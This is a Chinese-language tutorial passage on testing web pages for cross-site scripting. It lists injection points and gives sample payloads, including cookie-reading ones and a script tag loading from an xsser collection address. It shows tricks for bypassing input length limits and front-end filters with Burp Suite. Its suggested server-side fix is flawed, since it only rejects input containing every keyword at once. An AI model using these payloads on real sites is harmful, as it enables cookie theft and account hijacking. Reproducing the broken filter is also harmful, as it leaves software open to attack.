5. XSS测试方法
1)容易出现XSS注入的地方
XSS测试就是在容易出现XSS注入的地方输入被测代码,提交后观察其显示是否会触发JavaScript脚本。常用的XSS测试JavaScript脚本主要就下面两个。
l隐示注入:<img src=# onerror=alert(/XSS/) />
l显示注入:<script>alert(document.cookie)</script>
当然也要考虑与原有代码的上下文,通过一些符号屏蔽源代码,具体参见3所示。
3 容易出现XSS注入的地方
页面中容易出现的地方 | JavaScript输出的地方 | JavaScript输入的地方 | |
---|---|---|---|
HTTP请求参数 | document.write() | Windows.location(href,scr) | |
POST参数 | document.writeln() | Windows.name | |
HTTP头 | XXX.innerHTML= | Document.referrer | |
JavaScript输入输出 | XXX.outerHTML= | Document.cookie | |
隐含表单 | innerHTML.replace | Localstoage | |
预定义值 | document.attachEvent() | XMLHttpRequest返回的数据 | |
可选项 | window.attachEvent() | … | |
留言板 | document.location.replace() | ||
评论区 | document.location.assign() | ||
用户信息 | … | ||
… | |||
2)关于富文本的测试
在富文本中是允许出现一些HTML标签的,比如“<a><img><div>”等。在处理富文本XSS注入的时候要对允许出现的标签列入白名单,比如“<a><img><div><p><br>”甚至“<table><td><tr><li><ui>”等。这样一些不允许出现的名单就可以被排除了,比如“<script>等”。另外在富文本中尽可能地少使用自定义CSS或Style。
3)测试技巧
下面来介绍几个XSS注入的测试技巧。
①绕过长度
见下面代码。
<form method="post"action="index.jsp">
<input type=textvalue="" maxlength="21"name="a"/>
<inputtype="submit" value="提交"/>
</form>
如果输入type=text的值为:"\"><script>alert(/1/)</script>,按理来说,<input>标签变为:<input type=textvalue=""\"><script>alert(/1/)</script>"maxlength="21" name="a"/>,可以形成注入的,但是有maxlength="21"存在,上面的字符串只能输入:"\"><script>alert(/1/,后面部分全部被折断。在这里换一个注入字符串:"onclick=alert(/1/)//,字符串的长度为正好为21,注入以后<input>标签变为:<input type=textvalue=""onclick=alert(/1/)//" maxlength="21"name="a"/>,只要点击这个<input>文本框即可触发XSS PayLoad。
XSS PayLoad的长度既然可以通过maxlength属性进行控制,那么如果把这个PayLoad放到URL参数中去,就可以绕过长度了。见下面代码。
<input type="text"name="a" onclick="eval(location.hash.substr(1))">
页面加载完毕,在URL后加入#XSS PayLoad Code(比如:#alert(1)),输入回车键,点击<input>文本框,XSS PayLoad Code就被触发了。
下面再来看看一个例子。
<input name="a"type="text" value="" /> xxxxx <inputname="b" type="text" value="" />
这里存在两个文本输入框,一个里面输入“"><!--”,另一个里面输入“--><script>alert(/xss/);</script><!--”,这样这段代码变为。
<input name="a"type="text" value=""><!--/>xxxxx<inputname="b" type="text" value="--><script>alert(/xss/);</script><!--"/>
去掉注释代码,变为。
<input name="a"type="text"value=""><script>alert(/xss/);</script>
这样不但出发了XSS PayLoad Code,而且破坏了页面结构,把原本两个<input>文本框变成了一个<input>文本框。
扩展阅读:URL参数长度
l浏览器端。
Ø IE浏览器对URL的最大限制为2,083个字符。
Ø Firefox浏览器URL的长度官方限制为65,536个字符。
Ø Safari浏览器URL最大长度限制为 80,000个字符。
Ø Opera (Browser)URL最大长度限制为190,000个字符。
Ø Google (chrome) URL最大长度限制为8,182字符。
l服务器端。
Ø Apache (Server):URL最大长度限制为8,192个字符。
Ø Microsoft Internet Information Server:URL最大长度限制为16,384个字符。
② window.name的妙用
在本地存在一个index.html文件。
<body>
<script>
window.name="Hello MyGod";
alert(document.domain+" "+window.name);
window.location="http://www.mydomain.com/sec/1.html";
</script>
</body>
在这里window.name赋予"Hello MyGod"字符串并显示当前的domain和window.name,显示内容为:“127.0.0.1 Hello MyGod”,然后重定向到http://www.mydomain.com/sec/1.html,这个HTML文件为。
<body>
<script>
alert(document.domain+" "+window.name);
</script>
</body>
这个页面显示内容为:“www.mydomain.com Hello MyGod”。在这里window.name变成了一个跨网域的全局变量了。
再看一下如下代码。
<script>
setCookie("name","Jerry")
window.name="alert(document.cookie)";
</script>
试图将window.name="alert(document.cookie)";嵌入到网页中javascript中,执行这个网页,在同一页面地址栏键入javascript:eval(name),即可获取cookie信息
③绕过前端检查
如下面的网页。
<html>
…
<scripttype="text/javascript">
function check(f){
var str = f.username.value;
var c = newArray('script',"<",">",'input','img’);
for (var i=0;i<c.length ; i++){
if(str.indexOf(c[i])!=-1){
alert('您输入的数据存在敏感字符!'+c[i]);
return false;}}
return true;}
</script>
…
<form name="myform"method="post" action="jsp/index.jsp" >
<inputname="username" type="text">
<inputtype="submit" value="提交" onclick="return check(myform);">
…
后端jsp/index.jsp代码如下。
<%@ pagecontentType="text/html; charset=gb2312" %>
<%@ pagelanguage="java" %>
<%
Stringname=request.getParameter("username");
%>
输入的内容是:<%=name%><br>
</body>
如果在文本框username中输入:<scriptsrc=http://localhost:8100/xsser/R9mm7A?1566374595></script>,则会出现“您输入的数据存在敏感字符!script”的提示信息,页面进入不了jsp/index.jsp。如果通过Burn Suite工具在前端输入的时候输入“Jerry”,然后用Burn Suite工具拦截,将“Jerry”改为<scriptsrc=http://localhost:8100/xsser/R9mm7A?1566374595></script>,即可进入jsp/index.jsp,这是因为仅仅在前端没有对输入字符进行判断,而后端没有。需要将后端做如下修改,见黑体部分。
<%@ pagecontentType="text/html; charset=gb2312" %>
<%@ page language="java"%>
<%@ pageimport="com.mysql.jdbc.Driver" %>
<%@ pageimport="java.sql.*" %>
<%@ pageimport="java.lang.*" %>
<%
Stringname=request.getParameter("username");
if (((name.indexOf("script"))!=-1)&&((name.indexOf("<"))!=-1)&& ((name.indexOf(">"))!=-1)&&((name.indexOf("input"))!=-1)&&((name.indexOf("img"))!=-1)){
%>
参数中含有非法字符
<%
}
else{
%>
输入的内容是:<%=name%><br>
<%
}
%>
</body>
所以,对于XSS注入必须前后端一起协作进行,特别是后端。
④获取当前浏览器及版本
以下是一段比较复杂的JS脚本,通过它可以获得当前浏览器及版本。
<scripttype="text/javascript">
var Sys = {};
var ua = navigator.userAgent.toLowerCase();
var s;
(s = ua.match(/msie ([\d.]+)/)) ? Sys.ie =s[1] :
(s = ua.match(/firefox\/([\d.]+)/)) ?Sys.firefox = s[1] :
(s = ua.match(/chrome\/([\d.]+)/)) ?Sys.chrome = s[1] :
(s = ua.match(/opera.([\d.]+)/)) ?Sys.opera = s[1] :
(s =ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;
//以下进行测试
if (Sys.ie) document.write('IE: ' +Sys.ie);
if (Sys.firefox) document.write('Firefox:' + Sys.firefox);
if (Sys.chrome) document.write('Chrome: '+ Sys.chrome);
if (Sys.opera) document.write('Opera: ' +Sys.opera);
if (Sys.safari) document.write('Safari: '+ Sys.safari);
</script>
11分别是在Chrome、FireFox上显示的
11 在Chrome、FireFox上通过JS脚本显示操作系统版本信息